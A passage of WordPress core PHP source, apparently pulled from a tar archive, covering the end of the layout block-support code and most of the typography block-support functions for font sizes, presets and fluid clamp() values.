$child_layout_declarations['box-sizing'] = 'border-box'; } elseif ( 'fill' === $self_stretch ) { $child_layout_declarations['flex-grow'] = '1'; } if ( isset( $child_layout['columnSpan'] ) ) { $column_span = $child_layout['columnSpan']; $child_layout_declarations['grid-column'] = "span $column_span"; } if ( isset( $child_layout['rowSpan'] ) ) { $row_span = $child_layout['rowSpan']; $child_layout_declarations['grid-row'] = "span $row_span"; } $child_layout_styles[] = array( 'selector' => ".$container_content_class", 'declarations' => $child_layout_declarations, ); /* * If columnSpan is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set, * the columnSpan should be removed on small grids. If there's a minimumColumnWidth, the grid is responsive. * But if the minimumColumnWidth value wasn't changed, it won't be set. In that case, if columnCount doesn't * exist, we can assume that the grid is responsive. */ if ( isset( $child_layout['columnSpan'] ) && ( isset( $block['parentLayout']['minimumColumnWidth'] ) || ! isset( $block['parentLayout']['columnCount'] ) ) ) { $column_span_number = floatval( $child_layout['columnSpan'] ); $parent_column_width = isset( $block['parentLayout']['minimumColumnWidth'] ) ? $block['parentLayout']['minimumColumnWidth'] : '12rem'; $parent_column_value = floatval( $parent_column_width ); $parent_column_unit = explode( $parent_column_value, $parent_column_width ); /* * If there is no unit, the width has somehow been mangled so we reset both unit and value * to defaults. * Additionally, the unit should be one of px, rem or em, so that also needs to be checked. */ if ( count( $parent_column_unit ) <= 1 ) { $parent_column_unit = 'rem'; $parent_column_value = 12; } else { $parent_column_unit = $parent_column_unit[1]; if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) { $parent_column_unit = 'rem'; } } /* * A default gap value is used for this computation because custom gap values may not be * viable to use in the computation of the container query value. */ $default_gap_value = 'px' === $parent_column_unit ? 24 : 1.5; $container_query_value = $column_span_number * $parent_column_value + ( $column_span_number - 1 ) * $default_gap_value; $container_query_value = $container_query_value . $parent_column_unit; $child_layout_styles[] = array( 'rules_group' => "@container (max-width: $container_query_value )", 'selector' => ".$container_content_class", 'declarations' => array( 'grid-column' => '1/-1', ), ); } /* * Add to the style engine store to enqueue and render layout styles. * Return styles here just to check if any exist. */ $child_css = wp_style_engine_get_stylesheet_from_css_rules( $child_layout_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); if ( $child_css ) { $outer_class_names[] = $container_content_class; } } // Prep the processor for modifying the block output. $processor = new WP_HTML_Tag_Processor( $block_content ); // Having no tags implies there are no tags onto which to add class names. if ( ! $processor->next_tag() ) { return $block_content; } /* * A block may not support layout but still be affected by a parent block's layout. * * In these cases add the appropriate class names and then return early; there's * no need to investigate on this block whether additional layout constraints apply. */ if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) { foreach ( $outer_class_names as $class_name ) { $processor->add_class( $class_name ); } return $processor->get_updated_html(); } elseif ( ! $block_supports_layout ) { // Ensure layout classnames are not injected if there is no layout support. return $block_content; } $global_settings = wp_get_global_settings(); $fallback_layout = isset( $block_type->supports['layout']['default'] ) ? $block_type->supports['layout']['default'] : array(); if ( empty( $fallback_layout ) ) { $fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] ) ? $block_type->supports['__experimentalLayout']['default'] : array(); } $used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout; $class_names = array(); $layout_definitions = wp_get_layout_definitions(); // Set the correct layout type for blocks using legacy content width. if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) { $used_layout['type'] = 'constrained'; } $root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] ) ? $global_settings['useRootPaddingAwareAlignments'] : false; if ( $root_padding_aware_alignments && isset( $used_layout['type'] ) && 'constrained' === $used_layout['type'] ) { $class_names[] = 'has-global-padding'; } /* * The following section was added to reintroduce a small set of layout classnames that were * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is * not intended to provide an extended set of classes to match all block layout attributes * here. */ if ( ! empty( $block['attrs']['layout']['orientation'] ) ) { $class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] ); } if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) { $class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] ); } if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) { $class_names[] = 'is-nowrap'; } // Get classname for layout type. if ( isset( $used_layout['type'] ) ) { $layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] ) ? $layout_definitions[ $used_layout['type'] ]['className'] : ''; } else { $layout_classname = isset( $layout_definitions['default']['className'] ) ? $layout_definitions['default']['className'] : ''; } if ( $layout_classname && is_string( $layout_classname ) ) { $class_names[] = sanitize_title( $layout_classname ); } /* * Only generate Layout styles if the theme has not opted-out. * Attribute-based Layout classnames are output in all cases. */ if ( ! current_theme_supports( 'disable-layout-styles' ) ) { $gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] ) ? $block['attrs']['style']['spacing']['blockGap'] : null; /* * Skip if gap value contains unsupported characters. * Regex for CSS value borrowed from `safecss_filter_attr`, and used here * to only match against the value, not the CSS attribute. */ if ( is_array( $gap_value ) ) { foreach ( $gap_value as $key => $value ) { $gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; } } else { $gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value; } $fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ) ? $block_type->supports['spacing']['blockGap']['__experimentalDefault'] : '0.5em'; $block_spacing = isset( $block['attrs']['style']['spacing'] ) ? $block['attrs']['style']['spacing'] : null; /* * If a block's block.json skips serialization for spacing or spacing.blockGap, * don't apply the user-defined value to the styles. */ $should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' ); $block_gap = isset( $global_settings['spacing']['blockGap'] ) ? $global_settings['spacing']['blockGap'] : null; $has_block_gap_support = isset( $block_gap ); /* * Generates a unique ID based on all the data required to obtain the * corresponding layout style. Keeps the CSS class names the same * even for different blocks on different places, as long as they have * the same layout definition. Makes the CSS class names stable across * paginations for features like the enhanced pagination of the Query block. */ $container_class = wp_unique_id_from_values( array( $used_layout, $has_block_gap_support, $gap_value, $should_skip_gap_serialization, $fallback_gap_value, $block_spacing, ), 'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-' ); $style = wp_get_layout_style( ".$container_class", $used_layout, $has_block_gap_support, $gap_value, $should_skip_gap_serialization, $fallback_gap_value, $block_spacing ); // Only add container class and enqueue block support styles if unique styles were generated. if ( ! empty( $style ) ) { $class_names[] = $container_class; } } // Add combined layout and block classname for global styles to hook onto. $split_block_name = explode( '/', $block['blockName'] ); $full_block_name = 'core' === $split_block_name[0] ? end( $split_block_name ) : implode( '-', $split_block_name ); $class_names[] = 'wp-block-' . $full_block_name . '-' . $layout_classname; // Add classes to the outermost HTML tag if necessary. if ( ! empty( $outer_class_names ) ) { foreach ( $outer_class_names as $outer_class_name ) { $processor->add_class( $outer_class_name ); } } /** * Attempts to refer to the inner-block wrapping element by its class attribute. * * When examining a block's inner content, if a block has inner blocks, then * the first content item will likely be a text (HTML) chunk immediately * preceding the inner blocks. The last HTML tag in that chunk would then be * an opening tag for an element that wraps the inner blocks. * * There's no reliable way to associate this wrapper in $block_content because * it may have changed during the rendering pipeline (as inner contents is * provided before rendering) and through previous filters. In many cases, * however, the `class` attribute will be a good-enough identifier, so this * code finds the last tag in that chunk and stores the `class` attribute * so that it can be used later when working through the rendered block output * to identify the wrapping element and add the remaining class names to it. * * It's also possible that no inner block wrapper even exists. If that's the * case this code could apply the class names to an invalid element. * * Example: * * $block['innerBlocks'] = array( $list_item ); * $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' ); * * // After rendering, the initial contents may have been modified by other renderers or filters. * $block_content = <<<HTML * <figure> * <ul class="annotated-list list-wrapper is-unordered"> * <li>Code</li> * </ul><figcaption>It's a list!</figcaption> * </figure> * HTML; * * Although it is possible that the original block-wrapper classes are changed in $block_content * from how they appear in $block['innerContent'], it's likely that the original class attributes * are still present in the wrapper as they are in this example. Frequently, additional classes * will also be present; rarely should classes be removed. * * @todo Find a better way to match the first inner block. If it's possible to identify where the * first inner block starts, then it will be possible to find the last tag before it starts * and then that tag, if an opening tag, can be solidly identified as a wrapping element. * Can some unique value or class or ID be added to the inner blocks when they process * so that they can be extracted here safely without guessing? Can the block rendering function * return information about where the rendered inner blocks start? * * @var string|null */ $inner_block_wrapper_classes = null; $first_chunk = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null; if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) { $first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk ); while ( $first_chunk_processor->next_tag() ) { $class_attribute = $first_chunk_processor->get_attribute( 'class' ); if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) { $inner_block_wrapper_classes = $class_attribute; } } } /* * If necessary, advance to what is likely to be an inner block wrapper tag. * * This advances until it finds the first tag containing the original class * attribute from above. If none is found it will scan to the end of the block * and fail to add any class names. * * If there is no block wrapper it won't advance at all, in which case the * class names will be added to the first and outermost tag of the block. * For cases where this outermost tag is the only tag surrounding inner * blocks then the outer wrapper and inner wrapper are the same. */ do { if ( ! $inner_block_wrapper_classes ) { break; } $class_attribute = $processor->get_attribute( 'class' ); if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) { break; } } while ( $processor->next_tag() ); // Add the remaining class names. foreach ( $class_names as $class_name ) { $processor->add_class( $class_name ); } return $processor->get_updated_html(); } /** * Check if the parent block exists and if it has a layout attribute. * If it does, add the parent layout to the parsed block * * @since 6.6.0 * @access private * * @param array $parsed_block The parsed block. * @param array $source_block The source block. * @param WP_Block $parent_block The parent block. * @return array The parsed block with parent layout attribute if it exists. */ function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) { if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) { $parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout']; } return $parsed_block; } add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 ); // Register the block support. WP_Block_Supports::get_instance()->register( 'layout', array( 'register_attribute' => 'wp_register_layout_support', ) ); add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the inner div for the group block * to avoid breaking styles relying on that div. * * @since 5.8.0 * @since 6.6.1 Removed inner container from Grid variations. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_group_inner_container( $block_content, $block ) { $tag_name = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div'; $group_with_inner_container_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U', preg_quote( $tag_name, '/' ) ); if ( wp_theme_has_theme_json() || 1 === preg_match( $group_with_inner_container_regex, $block_content ) || ( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) ) ) { return $block_content; } /* * This filter runs after the layout classnames have been added to the block, so they * have to be removed from the outer wrapper and then added to the inner. */ $layout_classes = array(); $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) { foreach ( $processor->class_list() as $class_name ) { if ( str_contains( $class_name, 'is-layout-' ) ) { $layout_classes[] = $class_name; $processor->remove_class( $class_name ); } } } $content_without_layout_classes = $processor->get_updated_html(); $replace_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms', preg_quote( $tag_name, '/' ) ); $updated_content = preg_replace_callback( $replace_regex, static function ( $matches ) { return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3]; }, $content_without_layout_classes ); // Add layout classes to inner wrapper. if ( ! empty( $layout_classes ) ) { $processor = new WP_HTML_Tag_Processor( $updated_content ); if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) { foreach ( $layout_classes as $class_name ) { $processor->add_class( $class_name ); } } $updated_content = $processor->get_updated_html(); } return $updated_content; } add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the outer div for the aligned image block * to avoid breaking styles relying on that div. * * @since 6.0.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_image_outer_container( $block_content, $block ) { if ( wp_theme_has_theme_json() ) { return $block_content; } $figure_processor = new WP_HTML_Tag_Processor( $block_content ); if ( ! $figure_processor->next_tag( 'FIGURE' ) || ! $figure_processor->has_class( 'wp-block-image' ) || ! ( $figure_processor->has_class( 'alignleft' ) || $figure_processor->has_class( 'aligncenter' ) || $figure_processor->has_class( 'alignright' ) ) ) { return $block_content; } /* * The next section of code wraps the existing figure in a new DIV element. * While doing it, it needs to transfer the layout and the additional CSS * class names from the original figure upward to the wrapper. * * Example: * * // From this… * <!-- wp:image {"className":"hires"} --> * <figure class="wp-block-image wide hires">… * * // To this… * <div class="wp-block-image hires"><figure class="wide">… */ $wrapper_processor = new WP_HTML_Tag_Processor( '<div>' ); $wrapper_processor->next_token(); $wrapper_processor->set_attribute( 'class', is_string( $block['attrs']['className'] ?? null ) ? "wp-block-image {$block['attrs']['className']}" : 'wp-block-image' ); // And remove them from the existing content; it has been transferred upward. $figure_processor->remove_class( 'wp-block-image' ); foreach ( $wrapper_processor->class_list() as $class_name ) { $figure_processor->remove_class( $class_name ); } return "{$wrapper_processor->get_updated_html()}{$figure_processor->get_updated_html()}</div>"; } add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 ); typography.php 0000644 00000072125 15223332731 0007473 0 ustar 00 <?php /** * Typography block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the style and typography block attributes for block types that support it. * * @since 5.6.0 * @since 6.3.0 Added support for text-columns. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_typography_support( $block_type ) { if ( ! ( $block_type instanceof WP_Block_Type ) ) { return; } $typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false; if ( ! $typography_supports ) { return; } $has_font_family_support = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false; $has_font_size_support = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false; $has_font_style_support = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false; $has_font_weight_support = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false; $has_letter_spacing_support = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false; $has_line_height_support = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false; $has_text_align_support = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false; $has_text_columns_support = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false; $has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false; $has_text_transform_support = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false; $has_writing_mode_support = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false; $has_typography_support = $has_font_family_support || $has_font_size_support || $has_font_style_support || $has_font_weight_support || $has_letter_spacing_support || $has_line_height_support || $has_text_align_support || $has_text_columns_support || $has_text_decoration_support || $has_text_transform_support || $has_writing_mode_support; if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) { $block_type->attributes['fontSize'] = array( 'type' => 'string', ); } if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) { $block_type->attributes['fontFamily'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for typography features such as font sizes * to the incoming attributes array. This will be applied to the block markup in * the front-end. * * @since 5.6.0 * @since 6.1.0 Used the style engine to generate CSS and classnames. * @since 6.3.0 Added support for text-columns. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Typography CSS classes and inline styles. */ function wp_apply_typography_support( $block_type, $block_attributes ) { if ( ! ( $block_type instanceof WP_Block_Type ) ) { return array(); } $typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false; if ( ! $typography_supports ) { return array(); } if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) { return array(); } $has_font_family_support = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false; $has_font_size_support = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false; $has_font_style_support = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false; $has_font_weight_support = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false; $has_letter_spacing_support = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false; $has_line_height_support = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false; $has_text_align_support = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false; $has_text_columns_support = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false; $has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false; $has_text_transform_support = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false; $has_writing_mode_support = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false; // Whether to skip individual block support features. $should_skip_font_size = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' ); $should_skip_font_family = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' ); $should_skip_font_style = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' ); $should_skip_font_weight = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' ); $should_skip_line_height = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' ); $should_skip_text_align = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' ); $should_skip_text_columns = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' ); $should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' ); $should_skip_text_transform = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' ); $should_skip_letter_spacing = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' ); $should_skip_writing_mode = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' ); $typography_block_styles = array(); if ( $has_font_size_support && ! $should_skip_font_size ) { $preset_font_size = array_key_exists( 'fontSize', $block_attributes ) ? "var:preset|font-size|{$block_attributes['fontSize']}" : null; $custom_font_size = isset( $block_attributes['style']['typography']['fontSize'] ) ? $block_attributes['style']['typography']['fontSize'] : null; $typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value( array( 'size' => $custom_font_size, ) ); } if ( $has_font_family_support && ! $should_skip_font_family ) { $preset_font_family = array_key_exists( 'fontFamily', $block_attributes ) ? "var:preset|font-family|{$block_attributes['fontFamily']}" : null; $custom_font_family = isset( $block_attributes['style']['typography']['fontFamily'] ) ? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' ) : null; $typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family; } if ( $has_font_style_support && ! $should_skip_font_style && isset( $block_attributes['style']['typography']['fontStyle'] ) ) { $typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontStyle'], 'font-style' ); } if ( $has_font_weight_support && ! $should_skip_font_weight && isset( $block_attributes['style']['typography']['fontWeight'] ) ) { $typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontWeight'], 'font-weight' ); } if ( $has_line_height_support && ! $should_skip_line_height ) { $typography_block_styles['lineHeight'] = isset( $block_attributes['style']['typography']['lineHeight'] ) ? $block_attributes['style']['typography']['lineHeight'] : null; } if ( $has_text_align_support && ! $should_skip_text_align ) { $typography_block_styles['textAlign'] = isset( $block_attributes['style']['typography']['textAlign'] ) ? $block_attributes['style']['typography']['textAlign'] : null; } if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) { $typography_block_styles['textColumns'] = isset( $block_attributes['style']['typography']['textColumns'] ) ? $block_attributes['style']['typography']['textColumns'] : null; } if ( $has_text_decoration_support && ! $should_skip_text_decoration && isset( $block_attributes['style']['typography']['textDecoration'] ) ) { $typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['textDecoration'], 'text-decoration' ); } if ( $has_text_transform_support && ! $should_skip_text_transform && isset( $block_attributes['style']['typography']['textTransform'] ) ) { $typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['textTransform'], 'text-transform' ); } if ( $has_letter_spacing_support && ! $should_skip_letter_spacing && isset( $block_attributes['style']['typography']['letterSpacing'] ) ) { $typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['letterSpacing'], 'letter-spacing' ); } if ( $has_writing_mode_support && ! $should_skip_writing_mode && isset( $block_attributes['style']['typography']['writingMode'] ) ) { $typography_block_styles['writingMode'] = isset( $block_attributes['style']['typography']['writingMode'] ) ? $block_attributes['style']['typography']['writingMode'] : null; } $attributes = array(); $classnames = array(); $styles = wp_style_engine_get_styles( array( 'typography' => $typography_block_styles ), array( 'convert_vars_to_classnames' => true ) ); if ( ! empty( $styles['classnames'] ) ) { $classnames[] = $styles['classnames']; } if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) { $classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign']; } if ( ! empty( $classnames ) ) { $attributes['class'] = implode( ' ', $classnames ); } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Generates an inline style value for a typography feature e.g. text decoration, * text transform, and font style. * * Note: This function is for backwards compatibility. * * It is necessary to parse older blocks whose typography styles contain presets. * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`, * but skips compiling a CSS declaration as the style engine takes over this role. * @link https://github.com/wordpress/gutenberg/pull/27555 * * @since 6.1.0 * * @param string $style_value A raw style value for a single typography feature from a block's style attribute. * @param string $css_property Slug for the CSS property the inline style sets. * @return string A CSS inline style value. */ function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) { // If the style value is not a preset CSS variable go no further. if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) { return $style_value; } /* * For backwards compatibility. * Presets were removed in WordPress/gutenberg#27555. * A preset CSS variable is the style. * Gets the style value from the string and return CSS style. */ $index_to_splice = strrpos( $style_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) ); // Return the actual CSS inline style value, // e.g. `var(--wp--preset--text-decoration--underline);`. return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug ); } /** * Renders typography styles/content to the block wrapper. * * @since 6.1.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_typography_support( $block_content, $block ) { if ( ! empty( $block['attrs']['fitText'] ) && $block['attrs']['fitText'] && ! is_admin() ) { wp_enqueue_script_module( '@wordpress/block-editor/utils/fit-text-frontend' ); // Add Interactivity API directives for fit text to work with client-side navigation. if ( ! empty( $block_content ) ) { $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag() ) { if ( ! $processor->get_attribute( 'data-wp-interactive' ) ) { $processor->set_attribute( 'data-wp-interactive', true ); } $processor->set_attribute( 'data-wp-context---core-fit-text', 'core/fit-text::{"fontSize":""}' ); $processor->set_attribute( 'data-wp-init---core-fit-text', 'core/fit-text::callbacks.init' ); $processor->set_attribute( 'data-wp-style--font-size', 'core/fit-text::context.fontSize' ); $block_content = $processor->get_updated_html(); } } // fitText supersedes any other typography features return $block_content; } if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) { return $block_content; } $custom_font_size = $block['attrs']['style']['typography']['fontSize']; $fluid_font_size = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) ); /* * Checks that $fluid_font_size does not match $custom_font_size, * which means it's been mutated by the fluid font size functions. */ if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) { // Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`. return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 ); } return $block_content; } /** * Checks a string for a unit and value and returns an array * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ). * * @since 6.1.0 * * @param string|int|float $raw_value Raw size value from theme.json. * @param array $options { * Optional. An associative array of options. Default is empty array. * * @type string $coerce_to Coerce the value to rem or px. Default `'rem'`. * @type int $root_size_value Value of root font size for rem|em <-> px conversion. Default `16`. * @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`; * } * @return array|null An array consisting of `'value'` and `'unit'` properties on success. * `null` on failure. */ function wp_get_typography_value_and_unit( $raw_value, $options = array() ) { if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) { _doing_it_wrong( __FUNCTION__, __( 'Raw size value must be a string, integer, or float.' ), '6.1.0' ); return null; } if ( empty( $raw_value ) ) { return null; } // Converts numbers to pixel values by default. if ( is_numeric( $raw_value ) ) { $raw_value = $raw_value . 'px'; } $defaults = array( 'coerce_to' => '', 'root_size_value' => 16, 'acceptable_units' => array( 'rem', 'px', 'em' ), ); $options = wp_parse_args( $options, $defaults ); $acceptable_units_group = implode( '|', $options['acceptable_units'] ); $pattern = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/'; preg_match( $pattern, $raw_value, $matches ); // Bails out if not a number value and a px or rem unit. if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) { return null; } $value = $matches[1]; $unit = $matches[2]; /* * Default browser font size. Later, possibly could inject some JS to * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`. */ if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) { $value = $value * $options['root_size_value']; $unit = $options['coerce_to']; } if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) { $value = $value / $options['root_size_value']; $unit = $options['coerce_to']; } /* * No calculation is required if swapping between em and rem yet, * since we assume a root size value. Later we might like to differentiate between * :root font size (rem) and parent element font size (em) relativity. */ if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) { $unit = $options['coerce_to']; } return array( 'value' => round( $value, 3 ), 'unit' => $unit, ); } /** * Internal implementation of CSS clamp() based on available min/max viewport * width and min/max font sizes. * * @since 6.1.0 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values. * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero. * @access private * * @param array $args { * Optional. An associative array of values to calculate a fluid formula * for font size. Default is empty array. * * @type string $maximum_viewport_width Maximum size up to which type will have fluidity. * @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity. * @type string $maximum_font_size Maximum font size for any clamp() calculation. * @type string $minimum_font_size Minimum font size for any clamp() calculation. * @type int $scale_factor A scale factor to determine how fast a font scales within boundaries. * } * @return string|null A font-size value using clamp() on success, otherwise null. */ function wp_get_computed_fluid_typography_value( $args = array() ) { $maximum_viewport_width_raw = isset( $args['maximum_viewport_width'] ) ? $args['maximum_viewport_width'] : null; $minimum_viewport_width_raw = isset( $args['minimum_viewport_width'] ) ? $args['minimum_viewport_width'] : null; $maximum_font_size_raw = isset( $args['maximum_font_size'] ) ? $args['maximum_font_size'] : null; $minimum_font_size_raw = isset( $args['minimum_font_size'] ) ? $args['minimum_font_size'] : null; $scale_factor = isset( $args['scale_factor'] ) ? $args['scale_factor'] : null; // Normalizes the minimum font size in order to use the value for calculations. $minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw ); /* * We get a 'preferred' unit to keep units consistent when calculating, * otherwise the result will not be accurate. */ $font_size_unit = isset( $minimum_font_size['unit'] ) ? $minimum_font_size['unit'] : 'rem'; // Normalizes the maximum font size in order to use the value for calculations. $maximum_font_size = wp_get_typography_value_and_unit( $maximum_font_size_raw, array( 'coerce_to' => $font_size_unit, ) ); // Checks for mandatory min and max sizes, and protects against unsupported units. if ( ! $maximum_font_size || ! $minimum_font_size ) { return null; } // Uses rem for accessible fluid target font scaling. $minimum_font_size_rem = wp_get_typography_value_and_unit( $minimum_font_size_raw, array( 'coerce_to' => 'rem', ) ); // Viewport widths defined for fluid typography. Normalize units. $maximum_viewport_width = 